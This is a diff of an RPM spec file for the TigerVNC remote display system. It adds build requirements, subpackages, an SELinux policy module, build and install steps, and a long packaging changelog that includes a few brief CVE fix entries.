Fedora Release Engineering - 1.1.0-4 -- Rebuilt for https://fedoraproject.org/wiki/Fedora_17_Mass_Rebuild - -* Tue Nov 22 2011 Adam Tkac - 1.1.0-3 -- don't build X.Org devel docs (#755782) -- applet: BR generic java-devel instead of java-gcj-devel (#755783) -- use runuser to start Xvnc in systemd service file (#754259) -- don't attepmt to restart Xvnc session during update/erase (#753216) - -* Fri Nov 11 2011 Adam Tkac - 1.1.0-2 -- libvnc.so: don't use unexported GetMaster function (#744881) -- remove nasm buildreq - -* Mon Sep 12 2011 Adam Tkac - 1.1.0-1 -- update to 1.1.0 -- update the xorg11 patch -- patches merged - - tigervnc11-glx.patch - - tigervnc11-CVE-2011-1775.patch - - 0001-Use-memmove-instead-of-memcpy-in-fbblt.c-when-memory.patch - -* Thu Jul 28 2011 Adam Tkac - 1.0.90-6 -- add systemd service file and remove legacy SysV initscript (#717227) - -* Thu May 12 2011 Adam Tkac - 1.0.90-5 -- make Xvnc buildable against X.Org 1.11 - -* Tue May 10 2011 Adam Tkac - 1.0.90-4 -- viewer can send password without proper validation of X.509 certs - (CVE-2011-1775) - -* Wed Apr 13 2011 Adam Tkac - 1.0.90-3 -- fix wrong usage of memcpy which caused screen artifacts (#652590) -- don't point to inaccessible link in sysconfig/vncservers (#644975) - -* Fri Apr 08 2011 Adam Tkac - 1.0.90-2 -- improve compatibility with vinagre client (#692048) - -* Tue Mar 22 2011 Adam Tkac - 1.0.90-1 -- update to 1.0.90 - -* Wed Feb 09 2011 Fedora Release Engineering - 1.0.90-0.32.20110117svn4237 -- Rebuilt for https://fedoraproject.org/wiki/Fedora_15_Mass_Rebuild - -* Mon Jan 17 2011 Adam Tkac 1.0.90-0.31.20110117svn4237 -- fix libvnc.so module loading - -* Mon Jan 17 2011 Adam Tkac 1.0.90-0.30.20110117svn4237 -- update to r4237 -- patches merged - - tigervnc11-optionsdialog.patch - - tigervnc11-rh607866.patch - -* Fri Jan 14 2011 Adam Tkac 1.0.90-0.29.20101208svn4225 -- improve patch for keyboard issues - -* Fri Jan 14 2011 Adam Tkac 1.0.90-0.28.20101208svn4225 -- attempt to fix various keyboard-related issues (key repeating etc) - -* Fri Jan 07 2011 Adam Tkac 1.0.90-0.27.20101208svn4225 -- render "Ok" and "Cancel" buttons in the options dialog correctly - -* Wed Dec 15 2010 Jan Görig 1.0.90-0.26.20101208svn4225 -- added vncserver lock file (#662784) - -* Fri Dec 10 2010 Adam Tkac 1.0.90-0.25.20101208svn4225 -- update to r4225 -- patches merged - - tigervnc11-rh611677.patch - - tigervnc11-rh633931.patch - - tigervnc11-xorg1.10.patch -- enable VeNCrypt and PAM support - -* Mon Dec 06 2010 Adam Tkac 1.0.90-0.24.20100813svn4123 -- rebuild against xserver 1.10.X -- 0001-Return-Success-from-generate_modkeymap-when-max_keys.patch merged - -* Wed Sep 29 2010 jkeating - 1.0.90-0.23.20100813svn4123 -- Rebuilt for gcc bug 634757 - -* Tue Sep 21 2010 Adam Tkac 1.0.90-0.22.20100420svn4030 -- drop xorg-x11-fonts-misc dependency (#636170) - -* Tue Sep 21 2010 Adam Tkac 1.0.90-0.21.20100420svn4030 -- improve patch for #633645 (fix tcsh incompatibilities) - -* Thu Sep 16 2010 Adam Tkac 1.0.90-0.20.20100813svn4123 -- press fake modifiers correctly (#633931) -- supress unneeded debug information emitted from initscript (#633645) - -* Wed Aug 25 2010 Adam Tkac 1.0.90-0.19.20100813svn4123 -- separate Xvnc, vncpasswd and vncconfig to -server-minimal subpkg (#626946) -- move license to separate subpkg and Requires it from main subpkgs -- Xvnc: handle situations when no modifiers exist well (#611677) - -* Fri Aug 13 2010 Adam Tkac 1.0.90-0.18.20100813svn4123 -- update to r4123 (#617973) -- add perl requires to -server subpkg (#619791) - -* Thu Jul 22 2010 Adam Tkac 1.0.90-0.17.20100721svn4113 -- update to r4113 -- patches merged - - tigervnc11-rh586406.patch - - tigervnc11-libvnc.patch - - tigervnc11-rh597172.patch - - tigervnc11-rh600070.patch - - tigervnc11-options.patch -- don't own %%{_datadir}/icons directory (#614301) -- minor improvements in the .desktop file (#616340) -- bundled libjpeg configure requires nasm; is executed even if system-wide - libjpeg is used - -* Fri Jul 02 2010 Adam Tkac 1.0.90-0.16.20100420svn4030 -- build against system-wide libjpeg-turbo (#494458) -- build no longer requires nasm - -* Mon Jun 28 2010 Adam Tkac 1.0.90-0.15.20100420svn4030 -- vncserver: accept <+optname> option when specified as the first one - -* Thu Jun 24 2010 Adam Tkac 1.0.90-0.14.20100420svn4030 -- fix memory leak in Xvnc input code (#597172) -- don't crash when receive negative encoding (#600070) -- explicitly disable udev configuration support -- add gettext-autopoint to BR - -* Mon Jun 14 2010 Adam Tkac 1.0.90-0.13.20100420svn4030 -- update URL about SSH tunneling in the sysconfig file (#601996) - -* Fri Jun 11 2010 Adam Tkac 1.0.90-0.12.20100420svn4030 -- use newer gettext -- autopoint now uses git instead of cvs, adjust BuildRequires appropriately - -* Thu May 13 2010 Adam Tkac 1.0.90-0.11.20100420svn4030 -- link libvnc.so "now" to catch "undefined symbol" errors during Xorg startup -- use always XkbConvertCase instead of XConvertCase (#580159, #586406) -- don't link libvnc.so against libXi.la, libdix.la and libxkb.la; use symbols - from Xorg instead - -* Thu May 13 2010 Adam Tkac 1.0.90-0.10.20100420svn4030 -- update to r4030 snapshot -- patches merged to upstream - - tigervnc11-rh522369.patch - - tigervnc11-rh551262.patch - - tigervnc11-r4002.patch - - tigervnc11-r4014.patch - -* Thu Apr 08 2010 Adam Tkac 1.0.90-0.9.20100219svn3993 -- add server-applet subpackage which contains Java vncviewer applet -- fix Java applet; it didn't work when run from web browser -- add xorg-x11-xkb-utils to server Requires - -* Fri Mar 12 2010 Adam Tkac 1.0.90-0.8.20100219svn3993 -- add French translation to vncviewer.desktop (thanks to Alain Portal) - -* Thu Mar 04 2010 Adam Tkac 1.0.90-0.7.20100219svn3993 -- don't crash during pixel format change (#522369, #551262) - -* Mon Mar 01 2010 Adam Tkac 1.0.90-0.6.20100219svn3993 -- add mesa-dri-drivers and xkeyboard-config to -server Requires -- update to r3993 1.0.90 snapshot - - tigervnc11-noexecstack.patch merged - - tigervnc11-xorg18.patch merged - - xserver18.patch is no longer needed - -* Wed Jan 27 2010 Jan Gorig 1.0.90-0.5.20091221svn3929 -- initscript LSB compliance fixes (#523974) - -* Fri Jan 22 2010 Adam Tkac 1.0.90-0.4.20091221svn3929 -- mark stack as non-executable in jpeg ASM code -- add xorg-x11-xauth to Requires -- add support for X.Org 1.8 -- drop shave sources, they are no longer needed - -* Thu Jan 21 2010 Adam Tkac 1.0.90-0.3.20091221svn3929 -- drop tigervnc-xorg25909.patch, it has been merged to X.Org upstream - -* Thu Jan 07 2010 Adam Tkac 1.0.90-0.2.20091221svn3929 -- add patch for upstream X.Org issue #25909 -- add libXdmcp-devel to build requires to build Xvnc with XDMCP support (#552322) - -* Mon Dec 21 2009 Adam Tkac 1.0.90-0.1.20091221svn3929 -- update to 1.0.90 snapshot -- patches merged - - tigervnc10-compat.patch - - tigervnc10-rh510185.patch - - tigervnc10-rh524340.patch - - tigervnc10-rh516274.patch - -* Mon Oct 26 2009 Adam Tkac 1.0.0-3 -- create Xvnc keyboard mapping before first keypress (#516274) - -* Thu Oct 08 2009 Adam Tkac 1.0.0-2 -- update underlying X source to 1.6.4-0.3.fc11 -- remove bogus '-nohttpd' parameter from /etc/sysconfig/vncservers (#525629) -- initscript LSB compliance fixes (#523974) -- improve -LowColorSwitch documentation and handling (#510185) -- honor dotWhenNoCursor option (and it's changes) every time (#524340) - -* Fri Aug 28 2009 Adam Tkac 1.0.0-1 -- update to 1.0.0 -- tigervnc10-rh495457.patch merged to upstream - -* Mon Aug 24 2009 Karsten Hopp 0.0.91-0.17 -- fix ifnarch s390x for server-module - -* Fri Aug 21 2009 Tomas Mraz - 0.0.91-0.16 -- rebuilt with new openssl - -* Tue Aug 04 2009 Adam Tkac 0.0.91-0.15 -- make Xvnc compilable - -* Sun Jul 26 2009 Fedora Release Engineering - 0.0.91-0.14.1 -- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild - -* Mon Jul 13 2009 Adam Tkac 0.0.91-0.13.1 -- don't write warning when initscript is called with condrestart param (#508367) - -* Tue Jun 23 2009 Adam Tkac 0.0.91-0.13 -- temporary use F11 Xserver base to make Xvnc compilable -- BuildRequires: libXi-devel -- don't ship tigervnc-server-module on s390/s390x - -* Mon Jun 22 2009 Adam Tkac 0.0.91-0.12 -- fix local rendering of cursor (#495457) - -* Thu Jun 18 2009 Adam Tkac 0.0.91-0.11 -- update to 0.0.91 (1.0.0 RC1) -- patches merged - - tigervnc10-rh499401.patch - - tigervnc10-rh497592.patch - - tigervnc10-rh501832.patch -- after discusion in upstream drop tigervnc-bounds.patch -- configure flags cleanup - -* Thu May 21 2009 Adam Tkac 0.0.90-0.10 -- rebuild against 1.6.1.901 X server (#497835) -- disable i18n, vncviewer is not UTF-8 compatible (#501832) - -* Mon May 18 2009 Adam Tkac 0.0.90-0.9 -- fix vncpasswd crash on long passwords (#499401) -- start session dbus daemon correctly (#497592) - -* Mon May 11 2009 Adam Tkac 0.0.90-0.8.1 -- remove merged tigervnc-manminor.patch - -* Tue May 05 2009 Adam Tkac 0.0.90-0.8 -- update to 0.0.90 - -* Thu Apr 30 2009 Adam Tkac 0.0.90-0.7.20090427svn3789 -- server package now requires xorg-x11-fonts-misc (#498184) - -* Mon Apr 27 2009 Adam Tkac 0.0.90-0.6.20090427svn3789 -- update to r3789 - - tigervnc-rh494801.patch merged -- tigervnc-newfbsize.patch is no longer needed -- fix problems when vncviewer and Xvnc run on different endianess (#496653) -- UltraVNC and TightVNC clients work fine again (#496786) - -* Wed Apr 08 2009 Adam Tkac 0.0.90-0.5.20090403svn3751 -- workaround broken fontpath handling in vncserver script (#494801) - -* Fri Apr 03 2009 Adam Tkac 0.0.90-0.4.20090403svn3751 -- update to r3751 -- patches merged - - tigervnc-xclients.patch - - tigervnc-clipboard.patch - - tigervnc-rh212985.patch -- basic RandR support in Xvnc (resize of the desktop) -- use built-in libjpeg (SSE2/MMX accelerated encoding on x86 platform) -- use Tight encoding by default -- use T2SRFBVNC icons - -* Tue Mar 03 2009 Adam Tkac 0.0.90-0.3.20090303svn3631 -- update to r3631 - -* Tue Mar 03 2009 Adam Tkac 0.0.90-0.2.20090302svn3621 -- package review related fixes - -* Mon Mar 02 2009 Adam Tkac 0.0.90-0.1.20090302svn3621 -- initial package, r3621 +#defining macros needed by SELinux +%global selinuxtype targeted +%global modulename vncsession + +Name: tigervnc +Version: @VERSION@ +Release: 1%{?snap:.%{snap}}%{?dist} +Summary: A T2SRFBVNC remote display system + +%global _hardened_build 1 + +License: GPLv2+ +URL: http://www.tigervnc.com + +Source0: %{name}-%{version}%{?snap:-%{snap}}.tar.bz2 +Source3: 10-libvnc.conf + +BuildRequires: make +BuildRequires: gcc-c++ +BuildRequires: automake, autoconf, libtool, gettext, gettext-autopoint +BuildRequires: cmake, desktop-file-utils, appstream +BuildRequires: libxkbfile-devel, openssl-devel, libpciaccess-devel +BuildRequires: freetype-devel, libjpeg-turbo-devel, pam-devel +BuildRequires: gnutls-devel, nettle-devel, gmp-devel +BuildRequires: zlib-devel +BuildRequires: libuuid-devel, glib2-devel, pipewire-devel +# X11/graphics dependencies +BuildRequires: xorg-x11-server-source +BuildRequires: libXext-devel, libX11-devel, libXi-devel, libXfixes-devel +BuildRequires: libXdamage-devel, libXrandr-devel, libXt-devel, libXdmcp-devel +BuildRequires: libXinerama-devel, mesa-libGL-devel, libxshmfence-devel +BuildRequires: pixman-devel, libdrm-devel, mesa-libgbm-devel +BuildRequires: xorg-x11-util-macros, xorg-x11-xtrans-devel, libXtst-devel +BuildRequires: xorg-x11-font-utils +BuildRequires: libXfont2-devel +# SELinux +BuildRequires: libselinux-devel, selinux-policy-devel +BuildRequires: systemd-devel + +# T2SRFBVNC 1.4.x requires fltk 1.3.3 for keyboard handling support +# See https://github.com/T2SRFBVNC/tigervnc/issues/8, also bug #1208814 +BuildRequires: fltk-devel >= 1.3.3 +BuildRequires: xorg-x11-server-devel + +Requires: hicolor-icon-theme +Requires: tigervnc-license +Requires: tigervnc-icons + +%description +Virtual Network Computing (VNC) is a remote display system which +allows you to view a computing 'desktop' environment not only on the +machine where it is running, but from anywhere on the Internet and +from a wide variety of machine architectures. This package contains a +client which will allow you to connect to other desktops running a VNC +server. + +%package server +Summary: A T2SRFBVNC server +Requires: perl-interpreter +Requires: tigervnc-server-minimal = %{version}-%{release} +Requires: (%{name}-selinux if selinux-policy-%{selinuxtype}) +Requires: xorg-x11-xauth +Requires: xorg-x11-xinit + +%description server +The VNC system allows you to access the same desktop from a wide +variety of platforms. This package includes set of utilities +which make usage of T2SRFBVNC server more user friendly. It also +contains x0vncserver program which can export your active +X session. + +%package server-minimal +Summary: A minimal installation of T2SRFBVNC server +Requires(post): systemd +Requires(preun): systemd +Requires(postun): systemd +Requires(post): systemd + +Requires: mesa-dri-drivers, xkeyboard-config, xkbcomp +Requires: tigervnc-license, dbus-x11 + +%description server-minimal +The VNC system allows you to access the same desktop from a wide +variety of platforms. This package contains minimal installation +of T2SRFBVNC server, allowing others to access the desktop on your +machine. + +%package server-module +Summary: T2SRFBVNC module to Xorg +Requires: xorg-x11-server-Xorg %(xserver-sdk-abi-requires ansic) %(xserver-sdk-abi-requires videodrv) +Requires: tigervnc-license + +%description server-module +This package contains libvnc.so module to X server, allowing others +to access the desktop on your machine. + +%package license +Summary: License of T2SRFBVNC suite +BuildArch: noarch + +%description license +This package contains license of the T2SRFBVNC suite + +%package icons +Summary: Icons for T2SRFBVNC viewer +BuildArch: noarch + +%description icons +This package contains icons for T2SRFBVNC viewer + +%package selinux +Summary: SELinux module for T2SRFBVNC +BuildArch: noarch +BuildRequires: selinux-policy-devel +Requires: selinux-policy-%{selinuxtype} +Requires(post): selinux-policy-%{selinuxtype} +BuildRequires: selinux-policy-devel +%{?selinux_requires} + +%description selinux +This package provides the SELinux policy module to ensure T2SRFBVNC +runs properly under an environment with SELinux enabled. + +%prep +%setup -q -n %{name}-%{version}%{?snap:-%{snap}} + +cp -r /usr/share/xorg-x11-server-source/* unix/xserver +pushd unix/xserver +for all in `find . -type f -perm -001`; do + chmod -x "$all" +done +xserver_patch="../xserver$(rpm -q --qf '%%{VERSION}' xorg-x11-server-source | awk -F. '{ print $1 $2 }').patch" +patch -p1 -b --suffix .vnc < "$xserver_patch" +popd + +%build +%ifarch sparcv9 sparc64 s390 s390x +export CFLAGS="$RPM_OPT_FLAGS -fPIC" +%else +export CFLAGS="$RPM_OPT_FLAGS -fpic" +%endif +export CXXFLAGS="$CFLAGS -std=c++11" + +%cmake \ + -DENABLE_NLS=ON \ + -DENABLE_GNUTLS=ON \ + -DENABLE_NETTLE=ON \ + -DENABLE_SELINUX=ON \ + -DENABLE_SYSTEMD=ON \ + -DENABLE_WAYLAND=ON \ + -DBUILD_VIEWER=ON + +%cmake_build + +pushd unix/xserver + +autoreconf -fiv +%configure \ + --disable-xorg --disable-xnest --disable-xvfb --disable-dmx \ + --disable-xwin --disable-xephyr --disable-kdrive --disable-xwayland \ + --with-pic --disable-static \ + --with-default-font-path="catalogue:%{_sysconfdir}/X11/fontpath.d,built-ins" \ + --with-xkb-output=%{_localstatedir}/lib/xkb \ + --enable-glx --disable-dri --enable-dri2 --enable-dri3 \ + --disable-unit-tests \ + --disable-config-hal \ + --disable-config-udev \ + --without-dtrace \ + --disable-devel-docs \ + --disable-selective-werror + +make %{?_smp_mflags} +popd + +# SELinux +pushd unix/vncserver/selinux +make +popd + +%install +%cmake_install + +pushd unix/xserver/hw/vnc +%make_install +popd + +# Install systemd unit file +pushd unix/vncserver/selinux +make install DESTDIR=%{buildroot} +popd + +%find_lang %{name} %{name}.lang + +# remove unwanted files +rm -f %{buildroot}%{_libdir}/xorg/modules/extensions/libvnc.la + +mkdir -p %{buildroot}%{_sysconfdir}/X11/xorg.conf.d/ +install -m 644 %{SOURCE3} %{buildroot}%{_sysconfdir}/X11/xorg.conf.d/10-libvnc.conf + +%pre selinux +%selinux_relabel_pre -s %{selinuxtype} + +%post selinux +%selinux_modules_install -s %{selinuxtype} %{_datadir}/selinux/packages/%{selinuxtype}/%{modulename}.pp.bz2 +%selinux_relabel_post -s %{selinuxtype} + +%postun selinux +if [ $1 -eq 0 ]; then + %selinux_modules_uninstall -s %{selinuxtype} %{modulename} + %selinux_relabel_post -s %{selinuxtype} +fi + + +%files -f %{name}.lang +%doc %{_docdir}/%{name}/README.rst +%{_bindir}/vncviewer +%{_datadir}/applications/* +%{_datadir}/metainfo/* +%{_mandir}/man1/vncviewer.1* + +%files server +%config(noreplace) %{_sysconfdir}/pam.d/tigervnc +%config(noreplace) %{_sysconfdir}/tigervnc/vncserver-config-defaults +%config(noreplace) %{_sysconfdir}/tigervnc/vncserver-config-mandatory +%config(noreplace) %{_sysconfdir}/tigervnc/vncserver.users +%{_unitdir}/vncserver@.service +%{_bindir}/x0vncserver +%{_bindir}/w0vncserver +%{_sbindir}/vncsession +%{_libexecdir}/vncserver +%{_libexecdir}/vncsession-start +%{_mandir}/man1/x0vncserver.1* +%{_mandir}/man1/w0vncserver.1* +%{_mandir}/man8/vncserver.8* +%{_mandir}/man8/vncsession.8* +%doc %{_docdir}/%{name}/HOWTO.md + +%files server-minimal +%{_bindir}/vncconfig +%{_bindir}/vncpasswd +%{_bindir}/Xvnc +%{_mandir}/man1/Xvnc.1* +%{_mandir}/man1/vncpasswd.1* +%{_mandir}/man1/vncconfig.1* + +%files server-module +%{_libdir}/xorg/modules/extensions/libvnc.so +%config(noreplace) %{_sysconfdir}/X11/xorg.conf.d/10-libvnc.conf + +%files license +%doc %{_docdir}/%{name}/LICENCE.TXT + +%files icons +%{_datadir}/icons/hicolor/*/apps/* + +%files selinux +%{_datadir}/selinux/packages/%{selinuxtype}/%{modulename}.pp.* +%ghost %verify(not md5 size mtime) %{_sharedstatedir}/selinux/%{selinuxtype}/active/modules/200/%{modulename} + +%changelog +* Fri Aug 19 2022 Pierre Ossman 1.12.80-1 +- Synced with current Fedora packaging + +* Tue May 18 2021 Jan Grulich 1.11.0-1 +- SELinux package improvements + +* Mon Jul 27 2020 Mark Mielke 1.10.1-1 +- Update build requirements and fix unexpected rpm macro expansion. + +* Tue Oct 22 2019 Evan Burns 1.9.80-5 +- Add support for CentOS 8 + +* Mon Feb 11 2019 Mark Mielke 1.9.80-5 +- Automatically detect and apply the correct X.org patch. + +* Mon Jan 14 2019 Pierre Ossman 1.9.80-4 +- Use system FLTK for build +- Add libXrandr-devel as a dependency so x0vncserver gets resize support. + +* Sun Dec 09 2018 Mark Mielke 1.9.80-3 +- Update package dependencies to require version alignment between packages. + +* Mon Nov 26 2018 Brian P. Hinz 1.9.80-2 +- Bumped Xorg version to 1.20 + +* Sun Jul 22 2018 Brian P. Hinz 1.9.80-1 +- Updated fltk to latest version + +* Thu Dec 24 2015 Brian P. Hinz 1.6.80-1 +- Adapted from RedHat EL7 Spec + +* Wed Sep 02 2015 Jan Grulich - 1.3.1-3 +- Do not mention that display number is required in the file name + Resolves: bz#1195266 + +* Thu Jul 30 2015 Jan Grulich - 1.3.1-2 +- Resolves: bz#1248422 + CVE-2014-8240 CVE-2014-8241 tigervnc: various flaws + +* Wed Apr 15 2015 Jan Grulich - 1.3.1-1 +- Drop unecessary patches +- Re-base to 1.3.1 (bug #1199453) +- Re-build against re-based xserver (bug #1194898) +- Check the return value from XShmAttach (bug #1072733) +- Add missing part of xserver114.patch (bug #1140603) +- Keep pointer in sync (bug #1100661) +- Make input device class global (bug #1119640) +- Add IPv6 support (bug #1162722) +- Set initial mode as prefered (bug #1181287) +- Do not mention that display number is required in the file name (bug #1195266) +- Enable Xinerama extension (bug #1199437) +- Specify full path for runuser command (bug #1208817) + +* Tue Sep 23 2014 Tim Waugh - 1.2.80-0.31.20130314svn5065 +- Rebuilt against xorg-x11-server to pick up ppc64le fix (bug #1140424). + +* Mon Mar 10 2014 Tim Waugh - 1.2.80-0.30.20130314svn5065 +- Fixed heap-based buffer overflow (CVE-2014-0011, bug #1050928). + +* Tue Feb 18 2014 Tim Waugh - 1.2.80-0.29.20130314svn5065 +- Previous patch was not applied. + +* Mon Feb 10 2014 Tim Waugh - 1.2.80-0.28.20130314svn5065 +- Clearer xstartup file (bug #923655). + +* Tue Jan 28 2014 Tim Waugh - 1.2.80-0.27.20130314svn5065 +- Use keyboard input code from tigervnc-1.3.0 (bug #1053536). + +* Fri Jan 24 2014 Daniel Mach - 1.2.80-0.26.20130314svn5065 +- Mass rebuild 2014-01-24 + +* Fri Jan 10 2014 Tim Waugh - 1.2.80-0.25.20130314svn5065 +- Fixed viewer crash when cursor has not been set (bug #1051333). + +* Fri Dec 27 2013 Daniel Mach - 1.2.80-0.24.20130314svn5065 +- Mass rebuild 2013-12-27 + +* Thu Dec 12 2013 Tim Waugh 1.2.80-0.23.20130314svn5065 +- Avoid invalid read when ZRLE connection closed (bug #1039926). + +* Tue Dec 10 2013 Tim Waugh 1.2.80-0.22.20130314svn5065 +- Fixed GLX initialisation (bug #1039126). + +* Tue Nov 19 2013 Tim Waugh 1.2.80-0.21.20130314svn5065 +- Better fix for PIDFile problem (bug #1031625). + +* Fri Nov 08 2013 Adam Jackson 1.2.80-0.20.20130314svn5065 +- Rebuild against xserver 1.15RC1 + +* Wed Jul 24 2013 Tim Waugh 1.2.80-0.18.20130314svn5065 +- Avoid PIDFile problems in systemd unit file (bug #983232). +- Don't use shebang in vncserver script. + +* Wed Jul 3 2013 Tim Waugh 1.2.80-0.18.20130314svn5065 +- Removed systemd_requires macro in order to fix the build. + +* Wed Jul 3 2013 Tim Waugh 1.2.80-0.17.20130314svn5065 +- Synchronise manpages and --help output (bug #980870). + +* Mon Jun 17 2013 Adam Jackson 1.2.80-0.16.20130314svn5065 +- tigervnc-setcursor-crash.patch: Attempt to paper over a crash in Xvnc when + setting the cursor. + +* Sat Jun 08 2013 Dennis Gilmore 1.2.80-0.15.20130314svn5065 +- bump to rebuild and pick up bugfix causing X to crash on ppc and arm + +* Thu May 23 2013 Tim Waugh 1.2.80-0.14.20130314svn5065 +- Use systemd rpm macros (bug #850340). Moved systemd requirements + from main package to server sub-package. +- Applied Debian patch to fix busy loop when run from inetd in nowait + mode (bug #920373). +- Added dependency on xorg-x11-xinit to server sub-package so that + default window manager can be found (bug #896284, bug #923655). +- Fixed bogus changelog date. + +* Thu Mar 14 2013 Adam Jackson 1.2.80-0.13.20130314svn5065 +- Less RHEL customization + +* Thu Mar 14 2013 Adam Tkac - 1.2.80-0.12.20130314svn5065 +- include /etc/X11/xorg.conf.d/10-libvnc.conf sample configuration (#712482) +- vncserver now honors specified -geometry parameter (#755947) + +* Tue Mar 12 2013 Adam Tkac - 1.2.80-0.11.20130307svn5060 +- update to r5060 +- split icons to separate package to avoid multilib issues + +* Tue Feb 19 2013 Adam Tkac - 1.2.80-0.10.20130219svn5047 +- update to r5047 (X.Org 1.14 support) + +* Fri Feb 15 2013 Fedora Release Engineering - 1.2.80-0.9.20121126svn5015 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_19_Mass_Rebuild + +* Mon Jan 21 2013 Adam Tkac - 1.2.80-0.8.20121126svn5015 +- rebuild due to "jpeg8-ABI" feature drop + +* Wed Jan 16 2013 Adam Tkac 1.2.80-0.7.20121126svn5015 +- rebuild + +* Tue Dec 04 2012 Adam Tkac 1.2.80-0.6.20121126svn5015 +- rebuild against new fltk + +* Mon Nov 26 2012 Adam Tkac 1.2.80-0.5.20121126svn5015 +- update to r5015 +- build with -fpic instead of -fPIC on all archs except s390/sparc + +* Wed Nov 7 2012 Peter Robinson 1.2.80-0.4.20120905svn4996 +- Build with -fPIC to fix FTBFS on ARM + +* Wed Oct 31 2012 Adam Jackson 1.2.80-0.3.20120905svn4996 +- tigervnc12-xorg113-glx.patch: Fix to only init glx on the first server + generation + +* Fri Sep 28 2012 Adam Jackson 1.2.80-0.2.20120905svn4996 +- tigervnc12-xorg113-glx.patch: Re-enable GLX against xserver 1.13 + +* Fri Aug 17 2012 Adam Tkac 1.2.80-0.1.20120905svn4996 +- update to 1.2.80 +- remove deprecated patches + - tigervnc-102434.patch + - tigervnc-viewer-reparent.patch + - tigervnc11-java7.patch +- patches merged + - tigervnc11-xorg111.patch + - tigervnc11-xorg112.patch + +* Fri Aug 10 2012 Dave Airlie 1.1.0-10 +- fix build against newer X server + +* Mon Jul 23 2012 Adam Jackson 1.1.0-9 +- Build with the Composite extension for feature parity with other X servers + +* Sat Jul 21 2012 Fedora Release Engineering - 1.1.0-8 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_18_Mass_Rebuild + +* Thu Jul 19 2012 Dave Airlie 1.1.0-7 +- fix building against X.org 1.13 + +* Wed Apr 04 2012 Adam Jackson 1.1.0-6 +- RHEL exclusion for -server-module on ppc* too + +* Mon Mar 26 2012 Adam Tkac - 1.1.0-5 +- clean Xvnc's /tmp environment in service file before startup +- fix building against the latest JAVA 7 and X.Org 1.12 + +* Sat Jan 14 2012 Fedora Release Engineering - 1.1.0-4 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_17_Mass_Rebuild + +* Tue Nov 22 2011 Adam Tkac - 1.1.0-3 +- don't build X.Org devel docs (#755782) +- applet: BR generic java-devel instead of java-gcj-devel (#755783) +- use runuser to start Xvnc in systemd service file (#754259) +- don't attepmt to restart Xvnc session during update/erase (#753216) + +* Fri Nov 11 2011 Adam Tkac - 1.1.0-2 +- libvnc.so: don't use unexported GetMaster function (#744881) +- remove nasm buildreq + +* Mon Sep 12 2011 Adam Tkac - 1.1.0-1 +- update to 1.1.0 +- update the xorg11 patch +- patches merged + - tigervnc11-glx.patch + - tigervnc11-CVE-2011-1775.patch + - 0001-Use-memmove-instead-of-memcpy-in-fbblt.c-when-memory.patch + +* Thu Jul 28 2011 Adam Tkac - 1.0.90-6 +- add systemd service file and remove legacy SysV initscript (#717227) + +* Thu May 12 2011 Adam Tkac - 1.0.90-5 +- make Xvnc buildable against X.Org 1.11 + +* Tue May 10 2011 Adam Tkac - 1.0.90-4 +- viewer can send password without proper validation of X.509 certs + (CVE-2011-1775) + +* Wed Apr 13 2011 Adam Tkac - 1.0.90-3 +- fix wrong usage of memcpy which caused screen artifacts (#652590) +- don't point to inaccessible link in sysconfig/vncservers (#644975) + +* Fri Apr 08 2011 Adam Tkac - 1.0.90-2 +- improve compatibility with vinagre client (#692048) + +* Tue Mar 22 2011 Adam Tkac - 1.0.90-1 +- update to 1.0.90 + +* Wed Feb 09 2011 Fedora Release Engineering - 1.0.90-0.32.20110117svn4237 +- Rebuilt for https://fedoraproject.org/wiki/Fedora_15_Mass_Rebuild + +* Mon Jan 17 2011 Adam Tkac 1.0.90-0.31.20110117svn4237 +- fix libvnc.so module loading + +* Mon Jan 17 2011 Adam Tkac 1.0.90-0.30.20110117svn4237 +- update to r4237 +- patches merged + - tigervnc11-optionsdialog.patch + - tigervnc11-rh607866.patch + +* Fri Jan 14 2011 Adam Tkac 1.0.90-0.29.20101208svn4225 +- improve patch for keyboard issues + +* Fri Jan 14 2011 Adam Tkac 1.0.90-0.28.20101208svn4225 +- attempt to fix various keyboard-related issues (key repeating etc) + +* Fri Jan 07 2011 Adam Tkac 1.0.90-0.27.20101208svn4225 +- render "Ok" and "Cancel" buttons in the options dialog correctly + +* Wed Dec 15 2010 Jan Görig 1.0.90-0.26.20101208svn4225 +- added vncserver lock file (#662784) + +* Fri Dec 10 2010 Adam Tkac 1.0.90-0.25.20101208svn4225 +- update to r4225 +- patches merged + - tigervnc11-rh611677.patch + - tigervnc11-rh633931.patch + - tigervnc11-xorg1.10.patch +- enable VeNCrypt and PAM support + +* Mon Dec 06 2010 Adam Tkac 1.0.90-0.24.20100813svn4123 +- rebuild against xserver 1.10.X +- 0001-Return-Success-from-generate_modkeymap-when-max_keys.patch merged + +* Wed Sep 29 2010 jkeating - 1.0.90-0.23.20100813svn4123 +- Rebuilt for gcc bug 634757 + +* Tue Sep 21 2010 Adam Tkac 1.0.90-0.22.20100420svn4030 +- drop xorg-x11-fonts-misc dependency (#636170) + +* Tue Sep 21 2010 Adam Tkac 1.0.90-0.21.20100420svn4030 +- improve patch for #633645 (fix tcsh incompatibilities) + +* Thu Sep 16 2010 Adam Tkac 1.0.90-0.20.20100813svn4123 +- press fake modifiers correctly (#633931) +- supress unneeded debug information emitted from initscript (#633645) + +* Wed Aug 25 2010 Adam Tkac 1.0.90-0.19.20100813svn4123 +- separate Xvnc, vncpasswd and vncconfig to -server-minimal subpkg (#626946) +- move license to separate subpkg and Requires it from main subpkgs +- Xvnc: handle situations when no modifiers exist well (#611677) + +* Fri Aug 13 2010 Adam Tkac 1.0.90-0.18.20100813svn4123 +- update to r4123 (#617973) +- add perl requires to -server subpkg (#619791) + +* Thu Jul 22 2010 Adam Tkac 1.0.90-0.17.20100721svn4113 +- update to r4113 +- patches merged + - tigervnc11-rh586406.patch + - tigervnc11-libvnc.patch + - tigervnc11-rh597172.patch + - tigervnc11-rh600070.patch + - tigervnc11-options.patch +- don't own %%{_datadir}/icons directory (#614301) +- minor improvements in the .desktop file (#616340) +- bundled libjpeg configure requires nasm; is executed even if system-wide + libjpeg is used + +* Fri Jul 02 2010 Adam Tkac 1.0.90-0.16.20100420svn4030 +- build against system-wide libjpeg-turbo (#494458) +- build no longer requires nasm + +* Mon Jun 28 2010 Adam Tkac 1.0.90-0.15.20100420svn4030 +- vncserver: accept <+optname> option when specified as the first one + +* Thu Jun 24 2010 Adam Tkac 1.0.90-0.14.20100420svn4030 +- fix memory leak in Xvnc input code (#597172) 